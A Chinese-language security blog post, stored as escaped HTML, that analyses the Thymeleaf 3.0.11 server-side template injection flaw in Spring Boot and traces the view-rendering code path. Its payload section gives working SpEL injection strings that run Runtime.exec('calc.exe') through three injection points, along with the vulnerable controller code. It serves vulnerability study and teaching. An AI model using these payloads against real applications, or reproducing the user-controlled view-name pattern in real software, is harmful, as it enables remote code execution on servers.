Thymeleaf+Spring EL<\/h1>\n\n\n\n
\u57fa\u7840\u77e5\u8bc6\u5c31\u4e0d\u5728\u672c\u7bc7\u591a\u8bf4\u4e86\uff0c\u4ecb\u7ecd\u4e00\u4e0b\u4ee5\u53ca\u7a0d\u5fae\u8fc7\u4e00\u904d\u8bed\u6cd5\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n
Thymeleaf<\/strong><\/h2>\n\n\n\nThemeleaf\u662f\u548cjsp\u4f5c\u7528\u7c7b\u4f3c\u7684\u4e00\u5957\u6a21\u677f\uff0c\u5373\u7528\u4f5c\u6e32\u67d3\u524d\u7aef\u9875\u9762\u3002\u7b80\u5355\u8bf4\u4e0b\u5b83\u4eec\u4e4b\u95f4\u7684\u4e0d\u540c\uff1a<\/p>\n\n\n\n
\n- jsp\u7684\u8fd0\u884c\u903b\u8f91\uff1ajsp\u6587\u4ef6\u53ef\u4ee5\u5f53\u4f5c\u4e00\u4e2aservlet\uff1b\u5f53\u7528\u6237\u8bf7\u6c42\/test\/test.jsp\u8fd9\u4e2aURL\u65f6\uff0c\u670d\u52a1\u7aef\u4f1a\u5c06.jsp\u89e3\u6790\u4e3ajava\u6587\u4ef6\uff0c\u5c06jsp\u6587\u4ef6\u91cc\u9762\u4e00\u4e9b\u8868\u8fbe\u5f0f\u91cc\u7684\u5185\u5bb9\u5f53\u4f5cservlet#service()\u91cc\u9762\u7684\u4ee3\u7801\uff0c\u6700\u7ec8\u8fd4\u56de\u4e00\u4e2ahtml\u9875\u9762\uff1b\u4e5f\u5c31\u662f\u8bf4\uff0c\u5ba2\u6237\u7aef\u8bbf\u95ee\u7684\u672c\u8d28\u4e0a\u5176\u5b9e\u662fjava\u6587\u4ef6\u3002<\/li>\n<\/ul>\n\n\n\n
\u8fd9\u663e\u7136\u4e0d\u7b26\u5408\u524d\u540e\u7aef\u5206\u79bb\u7684\u4e00\u5957\u903b\u8f91\uff0cjsp\u903b\u8f91\u4e0b\u7684\u524d\u7aef\u9875\u9762\u662f\u540e\u7aef\u7684\u4ee3\u7801\u6765\u6267\u884c\u8fd4\u56de\u7684\uff0c\u4e0d\u80fd\u8131\u79bb\u4e8e\u540e\u7aef\uff1b<\/p>\n\n\n\n
\u800c\u4e00\u822c\u610f\u4e49\u4e0a\u7684”\u524d\u7aef”\uff0c\u5c31\u662f\u5355\u4e00\u7684html\u6587\u4ef6\u3002\u5ba2\u6237\u7aef\u8bbf\u95ee\u5b83\u5c31\u7b97\u8131\u79bb\u4e86\u540e\u7aef\u4ee3\u7801\u4e5f\u80fd\u8bbf\u95ee\u5230\u3002\u6240\u4ee5\u575a\u6301\u524d\u540e\u7aef\u5206\u79bb\u7406\u5ff5\u7684springboot\u5e76\u4e0d\u652f\u6301jsp\u4f5c\u4e3a\u5176\u524d\u7aef\u6e32\u67d3\u6a21\u677f\uff0c\u4ecejsp\u8fd0\u884c\u903b\u8f91\u6765\u770b\u8fd9\u4e5f\u6839\u672c\u79f0\u4e0d\u4e0a”\u6e32\u67d3”\uff1b\u4f5c\u4e3a\u4ee3\u66ff\uff0cspringboot\u652f\u6301\u4e86\u4ee5Themeleaf\u4e3a\u4ee3\u8868\u7684\u4e00\u4e9b\u524d\u7aef\u6e32\u67d3\u6a21\u677f\u3002<\/p>\n\n\n\n
\n- \u5bf9\u4e8ethemeleaf\u800c\u8a00\uff0c\u505a\u5230\u4e86\u771f\u6b63\u610f\u4e49\u4e0a\u7684”\u6e32\u67d3”\u3002\u5b83\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u539f\u751f\u7684html\u6587\u4ef6\u4f7f\u7528th\u6807\u7b7e\uff1b\u54ea\u6015\u6ca1\u6709\u540e\u7aef\u7684\u53c2\u4e0e\uff0c\u76f4\u63a5\u5f53\u4f5c\u9759 \u6001\u8d44\u6e90\u6765\u8bbf\u95ee\u4f9d\u7136\u80fd\u8bbf\u95ee\u6210\u529f\u3002<\/li>\n<\/ul>\n\n\n\n
\n\n\n\n\u6807\u51c6\u8868\u8fbe\u5f0f\u8bed\u6cd5<\/strong><\/h3>\n\n\n\n![\"\"](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/20241025003441.png\")
<\/p>\n\n\n\n
\u8fd9\u91cc\u4ecb\u7ecd\u4e0b\u4ee3\u7801\u5757\u8868\u8fbe\u5f0f(\u66f4\u591a\u7684\u5730\u65b9\u79f0\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u4e2a\u4eba\u611f\u89c9\u4e5f\u66f4\u8d34\u5207\uff0c\u6240\u4ee5\u540e\u9762\u4ee5\u7247\u6bb5\u8868\u8fbe\u5f0f\u6765\u79f0\u547c<\/strong>)\u5373\u53ef\uff0c\u4e5f\u662f\u540e\u9762\u4f5c\u4e3a\u6f0f\u6d1epayload\u6240\u7528\u3002<\/p>\n\n\n\n\u5176\u5b9e\u6d88\u606f\u8868\u8fbe\u5f0f\u4e5f\u53ef\u4ee5\u7528\u4f5cpayload\uff0c\u4f46\u672c\u6587\u4e3b\u8981\u662f\u6765debug\u4e0b\u6d41\u7a0b\u4ee5\u53ca\u5206\u6790\u89e6\u53d1\u70b9\uff0c\u6240\u4ee5\u8fd8\u662f\u53e0\u4e00\u4e0b\u7532\u53ea\u4ee5$<\/strong>\u4e3a\u4f8b\u3002<\/p>\n\n\n\n\u7247\u6bb5\u8868\u8fbe\u5f0f<\/strong><\/p>\n\n\n\n\u7247\u6bb5\u8868\u8fbe\u5f0f\u53ef\u4ee5\u7528\u4e8e\u5f15\u7528\u516c\u5171\u7684\u76ee\u6807\u7247\u6bb5\u6bd4\u5982footer\u6216\u8005header<\/p>\n\n\n\n
\u6bd4\u5982\u5728\/WEB-INF\/templates\/footer.html<\/code>\u5b9a\u4e49\u4e00\u4e2a\u7247\u6bb5\uff0c\u540d\u4e3acopy\u3002<div th:fragment=\"copy\"><\/code><\/p>\n\n\n\n<!DOCTYPE html>
\u200b
<html xmlns:th=\"http:\/\/www.thymeleaf.org\">
\u200b
<body>
<div th:fragment=\"copy\">
© 2011 The Good Thymes Virtual Grocery
<\/div>
<\/body>
<\/html><\/pre>\n\n\n\n\u5728\u53e6\u4e00template\u4e2d\u5f15\u7528\u8be5\u7247\u6bb5<div th:insert=\"~{footer :: copy}\"><\/div><\/code><\/p>\n\n\n\n<body>
\u200b
...
\u200b
<div th:insert=\"~{footer :: copy}\"><\/div>
<\/body><\/pre>\n\n\n\n\u7247\u6bb5\u8868\u8fbe\u5f0f\u8bed\u6cd5\uff1a<\/p>\n\n\n\n
\n- ~{templatename::selector}<\/strong>\uff0c\u4f1a\u5728
\/WEB-INF\/templates\/<\/code>\u76ee\u5f55\u4e0b\u5bfb\u627e\u540d\u4e3atemplatename<\/code>\u7684\u6a21\u7248\u4e2d\u5b9a\u4e49\u7684fragment<\/code>\uff0c\u5982\u4e0a\u9762\u7684~{footer :: copy}<\/code><\/li>\n\n\n\n- ~{templatename}<\/strong>\uff0c\u5f15\u7528\u6574\u4e2a
templatename<\/code>\u6a21\u7248\u6587\u4ef6\u4f5c\u4e3afragment<\/code><\/li>\n\n\n\n- ~{::selector} \u6216 ~{this::selector}<\/strong>\uff0c\u5f15\u7528\u6765\u81ea\u540c\u4e00\u6a21\u7248\u6587\u4ef6\u540d\u4e3a
selector<\/code>\u7684fragmnt<\/code><\/li>\n<\/ol>\n\n\n\n\u5176\u4e2dselector<\/code>\u53ef\u4ee5\u662f\u901a\u8fc7th:fragment<\/code>\u5b9a\u4e49\u7684\u7247\u6bb5\uff0c\u4e5f\u53ef\u4ee5\u662f\u7c7b\u9009\u62e9\u5668\u3001ID\u9009\u62e9\u5668\u7b49\u3002<\/p>\n\n\n\n\u5f53~{}<\/code>\u7247\u6bb5\u8868\u8fbe\u5f0f\u4e2d\u51fa\u73b0::<\/code>\uff0c\u5219::<\/code>\u540e\u9700\u8981\u6709\u503c\uff0c\u4e5f\u5c31\u662fselector<\/code>\u3002<\/p>\n\n\n\n\u9664\u4e86\u5728html\u4e2d\u8fd0\u7528\u4e4b\u5916\uff0cspringboot\u7684Controller\u6ce8\u89e3\u7b49\u7684\u63a7\u5236\u5668return\u76f8\u5f53\u4e8e\u5229\u7528\u8fd9\u4e2a\u8bed\u6cd5\u76f4\u63a5\u8fd4\u56de\u8d44\u6e90\u76ee\u5f55\u4e2d\u7684xxx.html(\u91cd\u70b9)<\/strong>\u3002<\/p>\n\n\n\n\u800c\u5728Controller return\u76f4\u63a5\u4f7f\u7528\u7684\u8bdd\u5c31\u4e0d\u7528\u50cfhtml\u6587\u4ef6\u4e00\u6837\u7528~{ }\u5305\u88f9\u8d77\u6765\u4e86\uff1b\u5728\u540e\u9762\u7684\u6e90\u7801\u4e2d\u4e5f\u53ef\u4ee5\u770b\u5230\u6e90\u7801\u8bc6\u522b\u5230\u8868\u8fbe\u5f0f\u4f1a\u4e3b\u52a8\u5c06\u5176\u5305\u88f9\u8d77\u6765\u3002<\/p>\n\n\n\n
\u5728Springboot MVC\u4e2d\u7684\u4f7f\u7528<\/h3>\n\n\n\n
resources\/templates\/test.html:<\/p>\n\n\n\n
<!DOCTYPE html>
<html xmlns:th=\"http:\/\/www.thymeleaf.org\">
<body> <div th:fragment=\"banquan\"> © byname's test<\/div>
<\/body>
<\/html><\/pre>\n\n\n\ncontroller\u5c42\uff1a<\/p>\n\n\n\n
@Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload;
}
}<\/pre>\n\n\n\n\u6216\u8005<\/p>\n\n\n\n
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload+\"::banquan\";
}
}<\/pre>\n\n\n\n\u8bbf\u95ee\/aaa?payload=test\u5c31\u4f1a\u8fd4\u56de\uff1a<\/p>\n\n\n\n![\"image-20241005160516854\"\/](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\nSPEL\u8868\u8fbe\u5f0f\u6ce8\u5165<\/h2>\n\n\n\n
Themeleaf SSTI\u6253\u7684\u662fSpEL\u8868\u8fbe\u5f0f(Spring Expression Language)\uff0c\u800c\u975eEL\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n
\u540e\u8005\u662fJsp\u6d3e\u751f\u7684\uff0c\u800c\u524d\u8005\u662fspring\u7684\u539f\u751f\u8bed\u6cd5\uff0c\u4e5f\u80fd\u5728Themeleaf\u4e2d\u53bb\u3002<\/p>\n\n\n\n
\u5177\u4f53\u7814\u7a76\u4e5f\u5c31\u4e0d\u5728\u8fd9\u91cc\u591a\u8a00\u4e86\uff0c\u540e\u9762\u7684\u5206\u6790\u4e2d\u4f1a\u53bb\u7528\u51e0\u4e2a\u5e38\u7528\u7684payload\u3002<\/p>\n\n\n\n
3.0.11\u7248\u672c\u4e0b\u7684Thymeleaf SSTI<\/h1>\n\n\n\n\u6f0f\u6d1e\u6210\u56e0<\/h2>\n\n\n\n
\u5bf9\u4e8eThymeleaf\u672c\u8eab\u6765\u8bf4\uff0c\u6f0f\u6d1e\u6210\u56e0\u662f\u5bf9templatename\u7684\u8fc7\u6ee4\/\u7ba1\u63a7\u4e0d\u4e25\uff1b\u5927\u6982\u5c31\u662fThymeleaf\u5185\u90e8\u4f1a\u5bf9Controller\u5c42\u8fd4\u56de\u7684\u6a21\u677f\u540d\u8fdb\u884c\u5904\u7406\uff0c\u4e00\u822c\u6765\u8bf4\u662f\u4eceController\u7684return\u503c\u83b7\u53d6\u5bf9\u5e94\u60f3\u8981\u8c03\u7528\u7684\u6a21\u677f\u540d\uff0c\u7136\u540eThymeleaf\u540e\u7eed\u5f97\u5230\u4e86\u8fd9\u4e2a\u6a21\u677f\u540d\u56de\u53bb\/templates\u76ee\u5f55\u4e0b\u53bb\u627e\u76f8\u5e94\u7684.html\u6587\u4ef6\u5e76\u8fd4\u56de\uff1b\u95ee\u9898\u5c31\u5728\u4e8e\u4ecereturn\u5230\u83b7\u53d6\u5230\u6a21\u677f\u540d\u4e0d\u4ec5\u4ec5\u662f\u201c\u4e00\u4e00\u5bf9\u5e94\u201d\uff0c\u8fd9\u4e2areturn\u672c\u8eab\u662f\u652f\u6301\u8868\u8fbe\u5f0f\u7684\u3002<\/p>\n\n\n\n
\u6bd4\u5982\uff1a<\/p>\n\n\n\n
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload+\"::banquan\";
}
}<\/pre>\n\n\n\ntest.html:<\/p>\n\n\n\n
<!DOCTYPE html>
<html xmlns:th=\"http:\/\/www.thymeleaf.org\">
<body> <div th:fragment=\"banquan\"> © byname's test<\/div>
<\/body>
<\/html><\/pre>\n\n\n\n\u6b64\u65f6\u4f20\u5165payload=test\u5c31\u662ftest::banquan\u3002\u4e5f\u5c31\u662f\u524d\u9762\u8bf4\u8fc7\u7684\u7247\u6bb5\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n
\u800c\u8fd9\u4e2a\u7247\u6bb5\u8868\u8fbe\u5f0f\u662f\u652f\u6301SpringEL\u8868\u8fbe\u5f0f\u7684\uff0c\u8fd9\u5c31\u610f\u5473\u7740\u7528\u6237\u80fd\u63a7\u5236\u8fd4\u56de\u89c6\u56fe\u7684\u8bdd\u5c31\u80fd\u60f3\u529e\u6cd5\u5229\u7528SPEL\u8868\u8fbe\u5f0f\u53bb\u6076\u610f\u5229\u7528\u3002<\/p>\n\n\n\n
\u636e\u4e09\u68a6\u5e08\u5085\u8bf4\uff0c\u5728\u540e\u7eed\u7248\u672c\u7684bypass\u5229\u7528\u4e2d\uff0c\u5b98\u65b9\u662f\u6ca1\u6709\u7ed9CVE\u7f16\u53f7\u7684\uff0c\u7406\u7531\u662f\u5b98\u65b9\u8ba4\u4e3a\u8fd9\u4e2a\u6f0f\u6d1e\u662f\u5e94\u8be5\u7531\u5f00\u53d1\u8005\u6ce8\u610f\u7684\u3002\u4f46\u4e2a\u4eba\u8ba4\u4e3a\u8fd9\u4e2a\u7406\u7531\u8fd8\u662f\u6709\u4e9b\u7275\u5f3a\uff0c\u4e0d\u7136\u7167\u8fd9\u6837\u8bf4CC\u94fejackson\u8fd9\u4e9b\u94fe\u5b50\u7b49\u7b49\u90fd\u4e0d\u9700\u8981\u7248\u672c\u4fee\u590d\u4e86\uff0c\u5f00\u53d1\u8005\u6ce8\u610f\u63a7\u5236\u53ef\u80fd\u7684sink\u70b9\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n
\u4e0d\u8fc7\u4ece\u8fd9\u91cc\u548c\u524d\u9762\u6211\u4eec\u4e5f\u53ef\u4ee5\u770b\u5230\uff0cThymeleaf SSTI\u7684\u5229\u7528\u786e\u5b9e\u662f\u548cController\u7684\u53ef\u63a7\u70b9\u606f\u606f\u76f8\u5173\u7684\u3002<\/p>\n\n\n\n
payloads<\/h2>\n\n\n\n
\u6309\u7167\u4e0d\u540c\u7684\u53ef\u63a7\u70b9\uff0c\u4e00\u822c\u628apayload\u5206\u6210\u4e09\u7c7b\u3002\u8fd9\u91cc\u53ea\u7528\u7b80\u5355\u7684\u5f39\u8ba1\u7b97\u5668\u7684payload\uff0c\u56de\u663e\u653e\u5728\u540e\u9762\u8bf4\u3002<\/p>\n\n\n\n
templatename\uff1a<\/strong><\/p>\n\n\n\n@Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload+\"::banquan\";
}
}<\/pre>\n\n\n\ntest::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__<\/code><\/p>\n\n\n\n\u53ef\u4ee5\u770b\u5f97\u51fapayload\u4e5f\u5c31\u662f\u7247\u6bb5\u8868\u8fbe\u5f0f\u52a0\u4e0a\u53d8\u91cf\u8868\u8fbe\u5f0f\u7684\u7ec4\u5408\u3002<\/p>\n\n\n\n
\u5305\u88f9__ __\u662f\u7531\u4e8e\u540e\u9762\u89e3\u6790\u6d41\u7a0bThymeleafView\u4f1a\u63d0\u53d6\u51fa__ __\u91cc\u9762\u7684\u5b57\u7b26\u4e32\u6765\u5f53\u4f5c\u8868\u8fbe\u5f0f\u8bed\u53e5\u8fdb\u884c\u89e3\u6790\u3002<\/p>\n\n\n\n
2.2.2.selector<\/strong><\/p>\n\n\n\n@GetMapping(\"\/aaa\")
public String fragment(@RequestParam String payload) {
return \"welcome :: \" + payload;
}<\/pre>\n\n\n\ntest::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__<\/code><\/p>\n\n\n\n\u5bf9\u4e8eselector\u4e5f\u53ef\u4ee5\u4e0d\u5305\u88f9_ _\u3002\u8fd9\u5c31\u4f1a\u8d70\u5230\u53e6\u5916\u7684\u65b9\u6cd5\u53bb\u89e6\u53d1\u4e86\uff0c\u8fd9\u4e2a\u540e\u9762\u4f1a\u63d0\u5230\u3002<\/p>\n\n\n\n
2.2.3.URL path<\/strong><\/p>\n\n\n\n@Controller
public class TestController {
@GetMapping(\"\/aaa\/{path}\")
public void test(@PathVariable String path) {
\u200b
}
}<\/pre>\n\n\n\n\u56e0\u4e3a\u8fd4\u56devoid\uff0c\u8d70\u7684\u5c31\u548c\u524d\u9762\u4e24\u4e2a\u70b9\u4e0d\u4e00\u6837\u7684\u89e3\u6790\u6d41\u7a0b\u3002<\/p>\n\n\n\n
http:\/\/localhost:8888\/aaa\/<\/a>$%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7D<\/strong>::.x<\/p>\n\n\n\n(\u4ee5\u4e0a\u8bb0\u5f97URL\u7f16\u7801)<\/p>\n\n\n\n
Springboot+Thymeleaf\u89c6\u56fe\u6e32\u67d3\u6d41\u7a0b\u4ee5\u53ca\u6f0f\u6d1e\u89e6\u53d1\u70b9<\/h2>\n\n\n\n
\u8fd9\u7bc7\u6587\u7ae0\u5c31\u4e0d\u592a\u5177\u4f53\u5730\u5206\u6790\u6e90\u7801\u4e86\uff0c\u5c31\u7b80\u7565\u5730\u5e26\u8fc7\u4e00\u4e0b\u6e32\u67d3\u6d41\u7a0b\u4ee5\u53ca\u76f8\u5e94\u7684\u89e6\u53d1\u70b9\u3002\u5982\u679c\u5e08\u5085\u4eec\u4e0d\u719f\u6089\u6e90\u7801\u7684\u8bdd\u8fd8\u662f\u642d\u914d\u81ea\u5df1debug\u601d\u8003\u540e\u98df\u7528\u66f4\u4f73\u3002<\/p>\n\n\n\n
\u4e2a\u4eba\u8ba4\u4e3a\u5b66\u4e60\u8fd9\u4e2a\u6f0f\u6d1e\u6700\u5927\u7684\u4ef7\u503c\u4e0d\u4ec5\u4ec5\u5728\u4e8e\u5355\u7eaf\u7684SSTI\uff0c\u8c03\u8bd5\u5e76\u719f\u6089spring\u7684\u6d41\u7a0b\uff0c\u4ee5\u53ca\u5927\u6982\u719f\u6089\u6a21\u677f\u89e3\u6790\u7684\u67b6\u6784\u662f\u66f4\u91cd\u8981\u7684\uff1b\u6240\u4ee5\u5efa\u8bae\u5e08\u5085\u4eec\u8fd8\u662f\u81ea\u5df1\u53bb\u8c03\u8bd5\u4e00\u4e0b\u518d\u6765\u7ed3\u5408\u4e00\u4e0b\u8fd9\u7bc7\u6587\u7ae0\uff0c\u4e0d\u7136\u76f4\u63a5\u53bb\u770b\u6f0f\u6d1e\u89e6\u53d1\u70b9\u662f\u4e71\u5982\u9ebb\u7684\u3002<\/p>\n\n\n\n
Overview<\/h3>\n\n\n\n
\u5148\u4ecb\u7ecd\u4e00\u4e0b\u6b63\u5e38\u7684\u89c6\u56fe\u6e32\u67d3\u6d41\u7a0b\uff1a<\/p>\n\n\n\n
\u4eceDispatcherServlet\u8fd9\u4e2aServlet\u5f00\u59cb\u3002<\/p>\n\n\n\n
DispatcherServlet\u662f\u62e6\u622a\u6240\u6709\u524d\u7aef\u8bf7\u6c42\u5e76\u52a0\u4ee5\u5904\u7406\u7684\u7c7b\uff0c\u6838\u5fc3\u903b\u8f91\u5728DispatcherServlet#doDispatch\u8fd9\u91cc\u3002<\/p>\n\n\n\n
\u5b83\u505a\u4e86\u8fd9\u6837\u51e0\u4ef6\u4e8b\uff1a<\/p>\n\n\n\n
1.\u6784\u9020HandlerExecutionChain\u548c\u5bfb\u627eHandlerAdapter\uff1a<\/strong>\u6839\u636e\u8bf7\u6c42\u65b9\u5f0f\u7684\u4e0d\u540c\u627e\u5230\u76f8\u5e94\u7684Handlermapping\uff1b\u518d\u6839\u636eurl\u8bf7\u6c42\u53c2\u6570\uff0c\u53bb\u83b7\u53d6handlermapping\u4e2d\u7684Handlermethod(\u6b64\u5904\u4e3aController\u65b9\u6cd5\u5bf9\u5e94\u7684bean)\uff0c\u518d\u548c\u7cfb\u7edf\u62e6\u622a\u5668\u5c01\u88c5\u6210\u4e00\u4e2aHandlerChain\uff1b\u518d\u6839\u636e\u8fd9\u4e2aHandlerChain\u53bb\u5bfb\u627e\u9002\u914d\u7684HandlerAdapter\u3002<\/p>\n\n\n\n\u8fd9\u91cc\u6709\u5f88\u591aXXXHandler\uff0cHandlerXXX\u3002\u5148\u8981\u7406\u6e05\u695a\u8fd9\u4e9b\u4e1c\u897f\u4ee5\u53caHandler\u548cController\u7684\u5173\u7cfb\u5177\u4f53\u53ef\u4ee5\u53bb\u770b\u770bSpringboot\u6280\u672f\u6587\u6863\u6216\u8005\u8bf4\u6587\u7ae0\u7684\u9002\u914d\u5668\u6a21\u5f0f\u6709\u5173\u90e8\u5206<\/strong>\uff0c\u8fd9\u91cc\u63a8\u4e00\u7bc7\u5199\u7684\u5f88\u597d\u7684\uff1a<\/p>\n\n\n\nhttps:\/\/blog.csdn.net\/zxd1435513775\/article\/details\/103000992<\/a><\/p>\n\n\n\n2.\u8c03\u7528HandlerAdapter\uff1a<\/strong>HandlerAdapter\u8c03\u7528\u5bf9\u5e94\u7684Handler\u53bb\u83b7\u5f97\u4e00\u4e2aModelAndView\u5bf9\u8c61\uff1b\u8fd9\u91cc\u5b9e\u9645\u4e0a\u8c03\u7528\u7684\u5c31\u662fController\u65b9\u6cd5\uff0c\u5f97\u5230\u8fd4\u56de\u503c\uff0c\u6839\u636e\u8fd4\u56de\u503c\u586b\u5199ModelAndView\u5bf9\u8c61\u4e2d\u7684viewname\u53d8\u91cf\u3002<\/p>\n\n\n\n\u8fd9\u4e00\u6b65\u8fd8\u6709\u4e2a\u503c\u5f97\u6ce8\u610f\u7684\u5730\u65b9\uff0cviewname\u8fd9\u4e2a\u53d8\u91cf\u4e0d\u4ec5\u4ec5\u662f\u83b7\u5f97\u8fd9\u4e2areturnvalue\u8fd9\u4e48\u7b80\u5355\u3002\u5b9e\u9645\u4e0aSpringboot\u8fd8\u4f1a\u5728HandlerAdapter<\/strong>\u7684\u6267\u884c\u94fe\u6761\u4e2d\uff0c\u83b7\u53d6\u8fd4\u56de\u503c\u540e\uff0c\u5230ServletInvocableHandlerMethod#invokeAndHandle<\/strong>\u4e2d\u53bbreturnValueHandlers.handleReturnValue<\/strong>\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u8fd9\u91cc\u4e5f\u4f1a\u4f53\u73b0\u51faController<\/strong>\u548cRestController<\/strong>\u7684\u533a\u522b–\u4ee5\u53ca\u4e3a\u4ec0\u4e48\u6211\u4eec\u5b8f\u89c2\u4e0a\u7528Controller\u4f1a\u8fd4\u56de\u4e00\u4e2a\u89e3\u6790\u540e\u7684\u89c6\u56fe\uff0c\u800cRestController\u53ea\u4f1a\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u3002<\/p>\n\n\n\n\u8fd9\u91cc\u6765\u8fc7\u4e00\u4e0b\u8fd9\u4e2a\u903b\u8f91\uff1a<\/p>\n\n\n\n
\n public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,\n ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {\n\u200b\n HandlerMethodReturnValueHandler handler = selectHandler(returnValue, returnType);\n if (handler == null) {\n throw new IllegalArgumentException(\"Unknown return value type: \" + returnType.getParameterType().getName());\n }\n handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);\n }\n<\/code><\/code><\/pre>\n\n\n\n\u524d\u9762\u901a\u8fc7invoke HandlerMethod<\/strong>(controller\/restcontroller)\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u4f5c\u4e3areturnvalue\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u4f1a\u6839\u636ereturnType\u53bb\u9009\u62e9\u5904\u7406\u7c7b\u578b\u7684handler\u3002\u8fd4\u56de\u7c7b\u578b\u4e0d\u5c31\u662f\u4e2a\u5b57\u7b26\u4e32\u5417\uff1f\u5176\u5b9e\u4e0d\u7136\uff0creturnType\u8fd8\u5305\u542b\u4e86Handler\u7b49\u7b49\u66f4\u591a\u4fe1\u606f\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u800c\u6839\u636eselectHandler<\/p>\n\n\n\n
private HandlerMethodReturnValueHandler selectHandler(@Nullable Object value, MethodParameter returnType) {
boolean isAsyncValue = isAsyncReturnValue(value, returnType);
for (HandlerMethodReturnValueHandler handler : this.returnValueHandlers) {
if (isAsyncValue && !(handler instanceof AsyncHandlerMethodReturnValueHandler)) {
continue;
}
if (handler.supportsReturnType(returnType)) {
return handler;
}
}
return null;
}<\/code><\/pre>\n\n\n\n\u8fd9\u91cc\u5982\u679c\u4f60\u7528\u7684RestControlle<\/strong>r\u90a3\u4e48\u4f60\u4f1aselect\u5230\u4e00\u4e2aRequestResponseBodyMethodProcessor:<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u4e14\u7531\u4e8e\u540e\u7eed\u8fd4\u56de\u903b\u8f91\u7528\u7684\u662f\u5b83\uff0c\u6700\u540emv = ha.handle(processedRequest, response, mappedHandler.getHandler());\u4f1a\u8fd4\u56denull\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u800c\u5982\u679c\u7528\u7684\u662fController\u4f1aselect\u5230ViewNameMethodReturnValueHandler<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u6700\u540e\u4f1a\u8fd4\u56de:<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n3.applyDefaultViewName()\uff1a<\/strong>\u5bf9\u5f53\u524dModelAndView\u505a\u5224\u65ad\uff0c\u5982\u679c\u4e3anull\u5219\u8fdb\u5165defalutViewName\u90e8\u5206\u5904\u7406\uff0c\u5c06URI path\u4f5c\u4e3amav\u7684viewname\u503c\u3002\u8fd9\u91cc\u5b9e\u9645\u4e0a\u4e5f\u662f\u7b2c\u4e09\u79cdpayload\u7684\u539f\u56e0\u3002<\/p>\n\n\n\n4.processDispatchResult()\uff1a<\/strong>\u6e32\u67d3\u89c6\u56fe\u7684\u6700\u7ec8\u70b9\u3002<\/p>\n\n\n\n\u5148\u5904\u7406ModelAndView\uff0c\u901a\u8fc7\u9002\u914d\u7684ViewResolver\u5c06viewname\u89e3\u6790\uff0c\u628amav\u91cc\u7684viewname\u7b49\u7b49\u5c01\u88c5\u5230\u4e00\u4e2a\u5177\u4f53\u7684view\u91cc\u9762\uff0c\u6bd4\u5982\u6211\u4eec\u8fd9\u91cc\u7684Thymeleafview\uff0c\u5176viewTemplateName\u91cc\u9762\u5c31\u5c01\u88c5\u4e86\u6211\u4eec\u7684viewname\u3002\u518d\u8c03\u7528Thymeleaf#render\u6765\u89e3\u6790\u89c6\u56fe\u3002<\/p>\n\n\n\n
\u5982\u679c\u4f20\u8fdb\u53bb\u7684\u503c\u5305\u542b::\u7684\u8bdd\uff0c\u5373\u8bc6\u522b\u5230\u8fd9\u662f\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u4f1a\u5148\u8fdb\u884c\u9884\u5904\u7406<\/strong>-\u5373\u89e3\u6790\u5728\u53d8\u91cf\u8868\u8fbe\u5f0f\u4e2d\u7684SPEL\u8bed\u53e5\u3002\u9884\u5904\u7406\u8fd9\u6b65\u662f\u6700\u4e3b\u8981\u7684\u89e6\u53d1\u70b9\u3002(\u4e3a\u4ec0\u4e48\u662f\u6700\u4e3b\u8981\u5462\uff0c\u540e\u9762\u6211\u5176\u5b9e\u81ea\u5df1\u4e5f\u53d1\u73b0\u4e2a\u70b9\uff0c\u5e94\u8be5\u7b97\u662f\u5e38\u89c4\u7684\u6267\u884c\u70b9\uff0c\u53ea\u4e0d\u8fc7\u7f51\u4e0a\u6587\u7ae0\u51e0\u4e4e\u6ca1\u6709\u63d0\u53ca\uff0c\u4e5f\u662f\u4e3a\u4ec0\u4e48\u6709\u4e9bpayload\u4e0d\u9700_ _\u4e5f\u80fd\u6b63\u5e38\u89e6\u53d1\u7684\u539f\u56e0)<\/p>\n\n\n\n\u7136\u540e\u5c31\u662f\u6b63\u5e38\u7684\u89c6\u56fe\u89e3\u6790\u7684\u6d41\u7a0b\u4e86\uff0c\u6839\u636e\u6700\u7ec8\u7684\u503c\u627e\u5230\u76f8\u5173\u6587\u4ef6\u7136\u540e\u6e32\u67d3\u5199\u5165response\u57df\u7b49\u7b49\u3002<\/p>\n\n\n\n
